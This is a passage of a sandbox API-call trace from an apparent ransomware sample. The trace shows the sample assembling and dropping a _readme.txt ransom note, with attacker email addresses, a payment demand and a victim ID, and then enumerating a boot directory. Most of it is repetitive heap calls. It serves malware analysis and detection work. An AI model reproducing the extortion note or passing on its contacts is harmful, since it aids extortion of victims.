\"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.569] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.569] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.569] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.569] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.569] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.569] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.569] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.569] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.570] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.571] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.571] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.572] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.572] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.573] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.573] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: 